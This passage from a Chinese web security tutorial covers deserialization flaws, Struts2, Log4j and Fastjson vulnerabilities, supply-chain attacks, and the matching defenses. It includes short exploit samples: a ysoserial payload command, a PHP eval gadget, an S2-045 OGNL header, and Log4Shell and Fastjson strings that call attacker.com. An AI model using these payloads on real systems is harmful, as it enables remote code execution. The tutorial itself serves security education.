{'user_id': user.id, 'exp': time.time() + 3600},
private_key,
algorithm='RS256'
)

# 验证Token
claims = jwt.decode(token, public_key, algorithms=['RS256'])

2. 敏感操作重新认证

1
2
3
4
def transfer_money(amount):
if not verify_password(current_user, request.form['password']):
raise AuthError('Invalid password')
# 执行转账

第十章 反序列化漏洞

反序列化漏洞是Web安全中最危险的漏洞类型之一,可以直接导致远程代码执行。

10.1 反序列化漏洞概述

10.1.1 Java/PHP反序列化的区别

Java反序列化

1
2
3
// 危险的反序列化
ObjectInputStream ois = new ObjectInputStream(input);
Object obj = ois.readObject(); // 可能执行任意代码

Java使用readObject()方法反序列化,攻击者可以通过构造恶意的序列化对象来执行代码。

PHP反序列化

1
2
// 危险的反序列化
$data = unserialize($_COOKIE['data']);

PHP使用unserialize()函数,可能触发魔术方法(如__wakeup(), __destruct())。

10.1.2 攻击原理

Java Payload生成

1
2
// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > payload.ser

常见 Gadget Chain

Gadget说明
Commons CollectionsTransformedMap触发任意方法调用
SpringSpringBeans利用Spring框架
JacksonJackson反序列化触发

PHP Magic Methods

1
2
3
4
5
6
7
8
class Demo {
public $data;

function __wakeup() {
// 反序列化时自动调用
eval($this->data); // 代码执行
}
}

10.1.3 防御措施

1. 避免反序列化用户输入

1
2
3
// 使用JSON替代
ObjectMapper mapper = new ObjectMapper();
User user = mapper.readValue(jsonString, User.class);

2. 使用安全框架

1
2
3
// 使用Shiro的SerializableCookie
SerializableCookie cookie = new SerializableCookie(username);
String value = Base64.encode(cookie.serialize());

3. 添加签名验证

1
2
3
4
5
6
7
8
9
10
// 对序列化数据签名
byte[] data = serialize(object);
byte[] signature = sign(data);

Cookie: data=base64(data); sig=base64(signature)

// 验证签名
byte[] data = decode(request.cookie('data'));
byte[] sig = decode(request.cookie('sig'));
if (!verify(data, sig)) throw new SecurityException();

4. 隔离反序列化环境

1
2
3
4
// 在独立的类加载器中反序列化
ClassLoader loader = new CustomClassLoader();
ObjectInputStream ois = new ObjectInputStream(stream);
ois.setClassLoader(loader);

第十一章 第三方组件漏洞

现代Web应用依赖大量的第三方组件,这些组件的安全状况直接影响应用的安全性。

11.1 常见框架漏洞

11.1.1 Struts2漏洞

Apache Struts2曾多次曝出严重漏洞:

S2-045(RCE)

1
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Upload',233*233)}

S2-057(RCE)

URL标签未正确验证导致远程代码执行。

11.1.2 Log4j漏洞

Log4Shell (CVE-2021-44228)

1
2
3
4
5
// 恶意输入
${jndi:ldap://attacker.com/exploit}

// 触发
logger.info(userInput); // 自动解析JNDI引用

11.1.3 Fastjson漏洞

反序列化RCE

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/Exploit","autoCommit":true}

11.1.4 组件资产管理

使用软件成分分析(SCA)

1
2
3
4
5
6
7
8
# 使用OWASP Dependency-Check
dependency-check --project "MyApp" --scan ./lib

# 使用Snyk
snyk test

# 使用npm audit
npm audit

建立依赖更新机制

1
2
3
4
5
6
7
# dependabot配置
version: 2
updates:
- package-ecosystem: "maven"
directory: "/"
schedule:
interval: "weekly"

11.2 供应链攻击

11.2.1 CDN劫持

攻击者劫持CDN域名或DNS,将恶意代码注入到前端资源:

1
2
3
4
5
<!-- 原始 -->
<script src="https://cdn.example.com/library.js"></script>

<!-- 被劫持后 -->
<script src="https://cdn.attacker.com/malicious.js"></script>

11.2.2 依赖混淆

利用包管理器优先选择公共仓库的特性:

1
2
3
# NPM包名
lodash -> lodash@4.17.21 (官方)
lodash-prod -> @attacker/lodash-prod (恶意包,版本号更高被优先安装)

11.2.3 防御措施

1. 锁定依赖版本

1
2
3
4
5
6
// package.json
{
"dependencies": {
"lodash": "4.17.21"
}
}

2. 使用私有仓库

1
2
3
4
5
6
7
8
9
# npm配置
npm config set registry https://private-npm.example.com

# Maven配置
<mirror>
<id>private-maven</id>
<url>https://private-maven.example.com</url>
<mirrorOf>*</mirrorOf>
</mirror>

3. Subresource Integrity(SRI)

1
2
3
<script src="https://cdn.example.com/library.js" 
integrity="sha384-oqVuAfXRKap..."
crossorigin="anonymous"></script>

4. 监控依赖安全

1
2
3
# GitHub Dependabot 自动更新
# Snyk 自动监控
# WhiteSource 持续检测

第十二章 Web安全防御体系

12.1 纵深防御策略

纵深防御(Defense in Depth)是在多个层面部署安全控制的策略:

网络层

  • 防火墙(WAF)
  • DDoS防护
  • 网络隔离
  • IDS/IPS

应用层

  • 输入验证
  • 输出编码
  • 认证授权
  • 会话管理

数据层

  • 加密存储
  • 访问控制
  • 备份策略

主机层

  • 最小权限
  • 安全配置
  • 漏洞管理
  • 入侵检测

12.2 安全开发实践

安全开发生命周期(SDL)

  1. 培训:安全意识培训
  2. 需求:安全需求分析
  3. 设计:威胁建模
  4. 实现:安全编码
  5. 验证:安全测试
  6. 发布:安全部署
  7. 响应:应急响应

安全编码规范

  • OWASP安全编码指南
  • CERT安全编码标准
  • CWE/SANS TOP 25

12.3 安全测试方法论

渗透测试阶段

  1. 信息收集:收集目标信息
  2. 威胁建模:识别潜在威胁
  3. 漏洞分析:发现安全问题
  4. 利用:验证漏洞可利用性
  5. 报告:编写渗透测试报告

自动化测试

  • SAST(静态应用安全测试)
  • DAST(动态应用安全测试)
  • IAST(交互式应用安全测试)
  • SCA(软件成分分析)

12.4 安全运营与监控

安全运营中心(SOC)

  • 7x24监控
  • 事件响应
  • 威胁情报
  • 漏洞管理

日志与监控

1
2
3
4
5
6
7
8
9
10
11
# 结构化日志
import logging
import json

logger = logging.getLogger('security')
logger.info(json.dumps({
'event': 'login_failed',
'user': username,
'ip': client_ip,
'timestamp': datetime.now().isoformat()
}))

关键指标

  • MTTD(平均检测时间)
  • MTTR(平均响应时间)
  • 漏洞修复率
  • 安全事件数量

总结

本文系统性地介绍了HTTP协议的基础知识以及各类Web安全漏洞的原理、利用方式和防御措施。Web安全是一个复杂的系统工程,需要我们从协议层面、应用层面、运营层面等多个维度进行全面防护。

关键要点回顾

  1. HTTP协议理解是基础:深入理解HTTP请求响应机制、安全头、状态码等是进行Web安全工作的基础。

  2. 注入漏洞危害严重:SQL注入、命令注入等注入类漏洞仍是Web安全的主要威胁,预编译语句和输入验证是核心防御手段。

  3. XSS需要多层防护:结合输入验证、输出转义、CSP和HttpOnly Cookie等多种手段。

  4. 文件上传安全:白名单验证、MIME检查、文件重命名和目录不可执行是关键。

  5. 信息泄露不可忽视:详细的错误信息、备份文件、版本控制目录等都可能成为攻击者的突破口。

  6. 逻辑漏洞需要业务视角:需要从业务逻辑角度发现和修复这类漏洞。

  7. 第三方组件是薄弱环节:建立依赖管理和安全监控机制,及时更新补丁。

  8. 纵深防御是最佳实践:在多个层面部署安全控制,单点失败不会导致整体沦陷。

Web安全形势不断变化,新的漏洞类型和攻击手法层出不穷。安全从业人员需要持续学习、实践和研究,关注最新的安全动态,不断提升安全能力。


参考资料

  • OWASP Top 10 (2021)
  • OWASP WebGoat
  • PortSwigger Web Security Academy
  • CWE Top 25
  • RFC 7231 (HTTP/1.1 Semantics and Content)
  • 《Web应用安全权威指南》
  • 《白帽子讲Web安全》